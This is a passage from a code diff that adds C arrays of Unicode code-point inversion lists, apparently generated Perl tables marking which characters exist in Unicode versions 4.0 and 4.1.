+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FB,
+	0xA02,
+	0xA03,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA75,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8C,
+	0xA8D,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE1,
+	0xAE6,
+	0xAF0,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB36,
+	0xB3A,
+	0xB3C,
+	0xB44,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB71,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBB6,
+	0xBB7,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE7,
+	0xBF3,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3E,
+	0xD44,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD62,
+	0xD66,
+	0xD70,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6B,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCF,
+	0xFD0,
+	0x1000,
+	0x1022,
+	0x1023,
+	0x1028,
+	0x1029,
+	0x102B,
+	0x102C,
+	0x1033,
+	0x1036,
+	0x103A,
+	0x1040,
+	0x105A,
+	0x10A0,
+	0x10C6,
+	0x10D0,
+	0x10F9,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1200,
+	0x1207,
+	0x1208,
+	0x1247,
+	0x1248,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1287,
+	0x1288,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12AF,
+	0x12B0,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12CF,
+	0x12D0,
+	0x12D7,
+	0x12D8,
+	0x12EF,
+	0x12F0,
+	0x130F,
+	0x1310,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x131F,
+	0x1320,
+	0x1347,
+	0x1348,
+	0x135B,
+	0x1361,
+	0x137D,
+	0x13A0,
+	0x13F5,
+	0x1401,
+	0x1677,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DD,
+	0x17E0,
+	0x17EA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AA,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2053,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2064,
+	0x206A,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x20A0,
+	0x20B2,
+	0x20D0,
+	0x20EB,
+	0x2100,
+	0x213B,
+	0x213D,
+	0x214C,
+	0x2153,
+	0x2184,
+	0x2190,
+	0x23CF,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x24FF,
+	0x2500,
+	0x2614,
+	0x2616,
+	0x2618,
+	0x2619,
+	0x267E,
+	0x2680,
+	0x268A,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x275F,
+	0x2761,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27D0,
+	0x27EC,
+	0x27F0,
+	0x2B00,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312D,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31B8,
+	0x31F0,
+	0x321D,
+	0x3220,
+	0x3244,
+	0x3251,
+	0x327C,
+	0x327F,
+	0x32CC,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FA6,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xAC00,
+	0xD7A4,
+	0xD800,
+	0xFA2E,
+	0xFA30,
+	0xFA6B,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFD,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE24,
+	0xFE30,
+	0xFE47,
+	0xFE49,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x10000,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10400,
+	0x10426,
+	0x10428,
+	0x1044E,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D12A,
+	0x1D1DE,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C1,
+	0x1D4C2,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A4,
+	0x1D6A8,
+	0x1D7CA,
+	0x1D7CE,
+	0x1D800,
+	0x1FFFE,
+	0x2A6D7,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__4_invlist[] = { /* for all charsets */
+	824,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x237,
+	0x250,
+	0x358,
+	0x35D,
+	0x370,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3CF,
+	0x3D0,
+	0x3FC,
+	0x400,
+	0x487,
+	0x488,
+	0x4CF,
+	0x4D0,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x500,
+	0x510,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x591,
+	0x5A2,
+	0x5A3,
+	0x5BA,
+	0x5BB,
+	0x5C5,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x604,
+	0x60C,
+	0x616,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x621,
+	0x63B,
+	0x640,
+	0x659,
+	0x660,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x750,
+	0x780,
+	0x7B2,
+	0x901,
+	0x93A,
+	0x93C,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FB,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA75,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF1,
+	0xAF2,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB44,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBB6,
+	0xBB7,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE7,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3E,
+	0xD44,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD62,
+	0xD66,
+	0xD70,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6B,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCF,
+	0xFD0,
+	0x1000,
+	0x1022,
+	0x1023,
+	0x1028,
+	0x1029,
+	0x102B,
+	0x102C,
+	0x1033,
+	0x1036,
+	0x103A,
+	0x1040,
+	0x105A,
+	0x10A0,
+	0x10C6,
+	0x10D0,
+	0x10F9,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1200,
+	0x1207,
+	0x1208,
+	0x1247,
+	0x1248,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1287,
+	0x1288,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12AF,
+	0x12B0,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12CF,
+	0x12D0,
+	0x12D7,
+	0x12D8,
+	0x12EF,
+	0x12F0,
+	0x130F,
+	0x1310,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x131F,
+	0x1320,
+	0x1347,
+	0x1348,
+	0x135B,
+	0x1361,
+	0x137D,
+	0x13A0,
+	0x13F5,
+	0x1401,
+	0x1677,
+	0x1680,
+	0x169D,
+	0x16A0,
+	0x16F1,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AA,
+	0x1900,
+	0x191D,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x19E0,
+	0x1A00,
+	0x1D00,
+	0x1D6C,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2055,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2064,
+	0x206A,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x20A0,
+	0x20B2,
+	0x20D0,
+	0x20EB,
+	0x2100,
+	0x213C,
+	0x213D,
+	0x214C,
+	0x2153,
+	0x2184,
+	0x2190,
+	0x23D1,
+	0x2400,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2618,
+	0x2619,
+	0x267E,
+	0x2680,
+	0x2692,
+	0x26A0,
+	0x26A2,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x275F,
+	0x2761,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x27D0,
+	0x27EC,
+	0x27F0,
+	0x2B0E,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312D,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31B8,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x3244,
+	0x3250,
+	0x327E,
+	0x327F,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FA6,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xAC00,
+	0xD7A4,
+	0xD800,
+	0xFA2E,
+	0xFA30,
+	0xFA6B,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDD0,
+	0xFDFE,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE24,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x10140,
+	0x10300,
+	0x1031F,
+	0x10320,
+	0x10324,
+	0x10330,
+	0x1034B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103A0,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10840,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D12A,
+	0x1D1DE,
+	0x1D300,
+	0x1D357,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A4,
+	0x1D6A8,
+	0x1D7CA,
+	0x1D7CE,
+	0x1D800,
+	0x1FFFE,
+	0x2A6D7,
+	0x2F800,
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__4_DOT_1_invlist[] = { /* for all charsets */
+	860,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x242,
+	0x250,
+	0x370,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3CF,
+	0x3D0,
+	0x487,
+	0x488,
+	0x4CF,
+	0x4D0,
+	0x4FA,
+	0x500,
+	0x510,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x591,
+	0x5BA,
+	0x5BB,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x604,
+	0x60B,
+	0x616,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x621,
+	0x63B,
+	0x640,
+	0x65F,
+	0x660,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x76E,
+	0x780,
+	0x7B2,
+	0x901,
+	0x93A,
+	0x93C,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x971,
+	0x97D,
+	0x97E,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FB,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA75,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF1,
+	0xAF2,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB44,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
